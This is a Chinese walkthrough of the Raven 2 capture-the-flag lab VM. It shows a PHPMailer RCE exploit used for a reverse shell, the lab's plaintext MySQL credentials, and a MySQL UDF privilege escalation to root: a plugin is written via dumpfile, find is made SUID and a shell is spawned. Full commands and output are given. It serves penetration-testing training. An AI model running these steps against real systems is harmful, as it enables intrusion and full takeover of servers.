0X00 前言
Raven 2中一共有四个flag,Raven 2是一个中级boot2root VM。有四个标志要捕获。在多次破坏之后,Raven Security采取了额外措施来强化他们的网络服务器,以防止黑客进入。
 
 
0x01 发现存活主机
该虚拟机默认是NAT模式,因此无需调整网络模式
使用netdiscover 或者 arp-scan 获取 目标主机 ip:192.168.88.211
arp-scan -l 或者 netdiscover -r 192.168.88.1/24
探测目标主机开放端口以及服务信息
目标开放了22、80、111端口
访问web服务
0x02 web渗透
1.目录爆破
dirb是一个轻量级的目录爆破工具,可以用它来快速的对目录进行一个简单的探测
dirb默认使用的爆破字典 /usr/share/dirb/wordlists/common.txt
我们可以根据需要指定字典进行扫描
dirb http://192.168.88.211 /root/dir/dir_big.txt
使用dirb和dirsearch同时进行目录爆破,相比而言,dirb扫描结果貌似要好很多。
扫到一些目录,逐个去查看目录下是否存在flag
在vendor下的 PATH 目录发现flag1{a2c1f66d2b8051bd3a5874b5b6e43e21}
并且获得网站绝对路径:/var/www/html/vendor/
继续向下翻,一些PHPMailer的示例和说明文档等文件,貌似没什么用!
在vendor下存在一个版本说明文件,这个应该就是PHPMailer的版本信息了。
0x03 漏洞利用
PHPMailer版本小于5.2.20存在远程代码执行漏洞
使用searchsploit 搜索 可以利用的漏洞
修改exp,替换目标ip target为靶机ip,反弹连接的地址为kali地址。开启本地nc监听。
添加申明,否则非ASCII码字符会报错 # -*- coding: utf-8 -*-
修改后门路径地址 /var/www/html/
nc -nvlp 4444
运行该exp提示缺少requests_toolbelt模块,
pip install requests_toolbelt 安装该模块
python3 40974.py 执行exp 就会生成一个http://192.168.88.211/contact.php
访问链接,就会在网站根目录下生成一个backdoor.php
访问http://192.168.88.211/shell.php nc成功接收到反弹的shell
 
获取完整性shell,将shell转化为pty shell.
python -c 'import pty;pty.spawn("/bin/bash")';
在www目录下找到 flag2{6a8ed560f0b5358ecf844108048eb337}
在wordpress目录下通过find /var/www/html -name flag* 搜索发现flag3.png
访问http://192.168.88.211/wordpress/ 是一个wordpress站点
直接访问后台wp-admin,
注:直接访问后台会连接错误,需要修改hosts文件,将192.168.88.211指向raven.local
进入wordpress目录打开wp-config.php找到数据库用户名密码
/** MySQL database username */
define('DB_USER', 'root');
 
/** MySQL database password */
define('DB_PASSWORD', 'R@v3nSecurity');
0X04 权限提升
使用提权脚本进行提权
开启web服务 php -S 0.0.0.0:88 -t /root
将提权脚本LinEnum.sh通过 wget 下载到目标机器
 
使用UDF提权
开启web服务,将udf exp 发送到 目标机器
python -m SimpleHTTPServer 88
在目标机器上编译会出错,我们可以本地编译好再上传。
gcc -g -c 1518.c gcc -g -shared -Wl,-soname,1518.so -o 1518.so 1518.o –lc
编译完成后会生成1518.c 和 1518.so文件,我们只需要so文件
www-data@Raven:/tmp$ mysql -uroot -pR@v3nSecurity
mysql -uroot -pR@v3nSecurity
Welcome to the MySQL monitor. Commands end with ; or \g.
Your MySQL connection id is 60
Server version: 5.5.60-0+deb8u1 (Debian)
 
Copyright (c) 2000, 2018, Oracle and/or its affiliates. All rights reserved.
 
Oracle is a registered trademark of Oracle Corporation and/or its
affiliates. Other names may be trademarks of their respective
owners.
 
Type 'help;' or '\h' for help. Type '\c' to clear the current input statement.
 
mysql> show databases;
show databases;
+--------------------+
| Database |
+--------------------+
| information_schema |
| mysql |
| performance_schema |
| wordpress |
+--------------------+
4 rows in set (0.00 sec)
 
mysql> use mysql;
use mysql;
Reading table information for completion of table and column names
You can turn off this feature to get a quicker startup with -A
 
Database changed
mysql> create table Micr067(line blob);
create table Micr067(line blob);
Query OK, 0 rows affected (0.00 sec)
 
mysql> insert into Micr067 values(load_file('/tmp/1518.so'));
insert into Micr067 values(load_file('/tmp/1518.so'));
Query OK, 1 row affected (0.00 sec)
 
mysql> select * from Micr067 into dumpfile '/usr/lib/mysql/plugin/1518.so';
select * from Micr067 into dumpfile '/usr/lib/mysql/plugin/1518.so';
Query OK, 1 row affected (0.00 sec)
 
mysql> create function do_system returns integer soname '1518.so';
create function do_system returns integer soname '1518.so';
Query OK, 0 rows affected (0.00 sec)
 
mysql> select * from mysql.func;
select * from mysql.func;
+-----------+-----+---------+----------+
| name | ret | dl | type |
+-----------+-----+---------+----------+
| do_system | 2 | 1518.so | function |
+-----------+-----+---------+----------+
1 row in set (0.00 sec)
 
mysql> select do_system('chmod u+s /usr/bin/find');
select do_system('chmod u+s /usr/bin/find');
+--------------------------------------+
| do_system('chmod u+s /usr/bin/find') |
+--------------------------------------+
| 0 |
+--------------------------------------+
1 row in set (0.01 sec)
 
mysql> quit
quit
Bye
www-data@Raven:/tmp$ touch Micr067
touch Micr067
www-data@Raven:/tmp$ find Micr067 -exec 'whoami' \;
find Micr067 -exec 'whoami' \;
root
www-data@Raven:/tmp$ find Micr067 -exec '/bin/sh' \;
find Micr067 -exec '/bin/sh' \;
 
在root目录下找到 flag4{df2bc5e951d91581467bb9a2a8ff4425}

后记:看到你们不断拿到shell,我已经瑟瑟发抖,最近被那个挖洞被抓的新闻搞得人心惶惶。。。

Raven 2 靶机渗透的更多相关文章

  1. 22. CTF综合靶机渗透(十五)

    靶机说明: Game of Thrones Hacking CTF This is a challenge-game to measure your hacking skills. Set in Ga ...

  2. 21. CTF综合靶机渗透(十四)

    靶机说明: I created this machine to help others learn some basic CTF hacking strategies and some tools. ...

  3. 18. CTF综合靶机渗透(十一)

    靶机描述: SkyDog Con CTF 2016 - Catch Me If You Can 难度:初学者/中级 说明:CTF是虚拟机,在虚拟箱中工作效果最好.下载OVA文件打开虚拟框,然后选择文件 ...

  4. 17. CTF综合靶机渗透(十)

    靶机描述:欢迎来到超级马里奥主机!这个虚拟机是对真实世界场景场景的模拟.目标是在VM中找到2个标志.根是不够的(对不起!)VM可以以多种方式开发,但请记住枚举是关键.挑战的程度是中等的.感谢VDBAN ...

  5. hacknos-player靶机渗透

    靶机下载地址https://www.vulnhub.com/entry/hacknos-player,459/ 网络配置 该靶机可能会存在无法自动分配IP的情况,所以无法扫描到的情况下需要手动配置获取 ...

  6. VulnHub CengBox2靶机渗透

    ​本文首发于微信公众号:VulnHub CengBox2靶机渗透,未经授权,禁止转载. 难度评级:☆☆☆☆官网地址:https://download.vulnhub.com/cengbox/CengB ...

  7. VulnHub PowerGrid 1.0.1靶机渗透

    ​本文首发于微信公众号:VulnHub PowerGrid 1.0.1靶机渗透,未经授权,禁止转载. 难度评级:☆☆☆☆☆官网地址:https://download.vulnhub.com/power ...

  8. DeRPnStiNK靶机渗透

    DeRPnStiNK靶机渗透 常规的信息搜集 扫到了phpmyadmin以及wordpress并在后台发现弱密码,即admin,admin 这里对wordpress进行了扫描: 扫描插件: searc ...

  9. BTRsys1~2系列靶机渗透

    BTRsys系列靶机渗透 BTRsys1 端口发现加目录扫描. 发现目录:http://192.168.114.161/login.php 尝试弱密码失败,查看源代码. <script type ...

随机推荐

  1. 嵌入式Linux开发环境搭建,问题ping、nfs的解决

    一. 嵌入式软件层次 1) Bootloader->引导加载程序 整个嵌入式系统的加载启动任务完全交给Bootloader完成,它的主要任务是将内核映象从硬盘读到RAM中,然后跳转到内核入口启动 ...

  2. HelloDjango 启动!免费带你学Django全栈!

    欢迎 追梦 入伙 HelloGitHub-Team,同时为我们带来了完全免费的 HelloDjango 系列教程,全网首发于 HelloGitHub 公众号.让想你的系列文章被跟多人看到,那就来加入我 ...

  3. C#3.0新增功能09 LINQ 基础06 LINQ 查询操作中的类型关系

    连载目录    [已更新最新开发文章,点击查看详细] 若要有效编写查询,应了解完整的查询操作中的变量类型是如何全部彼此关联的. 如果了解这些关系,就能够更容易地理解文档中的 LINQ 示例和代码示例. ...

  4. [leetcode] 543. Diameter of Binary Tree (easy)

    原题 思路: 题目其实就是求左右最长深度的和 class Solution { private: int res = 0; public: int diameterOfBinaryTree(TreeN ...

  5. hdu6375 度度熊学队列

    度度熊学队列 题目传送门 解题思路 STL大法好.直接用deque,但是N的范围很大,如果直接开那么多的deque会爆内存,所以用map< int, deque< int>>, ...

  6. 2019牛客多校第一场A-Equivalent Prefixes

    Equivalent Prefixes 传送门 解题思路 先用单调栈求出两个序列中每一个数左边第一个小于自己的数的下标, 存入a[], b[].然后按照1~n的顺序循环,比较 a[i]和b[i]是否相 ...

  7. JavaSE之——并没有多维数组

     近日在读<疯狂Java讲义>精粹第二版,部分语述摘自其中,自己边敲边理解 前言       我们知道,Java语言支持的类型有两种:            1.基本类型(即八大基本数据类 ...

  8. 后端小白的VUE入门笔记, 前端高能慎入

    因为项目需要前后端分离,后端竟然不用控制view层了,页面的跳转后端不再干涉,(前端的vue经过打包后成了一张index.html) 后端只需要响应给前端json串就ok,其实这不是爽歪歪?但是觉得还 ...

  9. python使用pip安装第三方库以及镜像使用豆瓣源安装第三方库

    2018/8/7  在使用pip安装pynum第三方库时的随笔 所有的前提都是你成功安装了pip 首先第一步 打开命令提示符  输入pip show pip 查看当前pip版本 然后可以上官网搜索一下 ...

  10. oracle的自增序列

    因为oracle中的自增序列与mysql数据库是不一样的,所以在这里唠嗑一下oracle的自增序列 1. 创建和修改自增序列 --创建序列的语法 -- create sequence [user.]s ...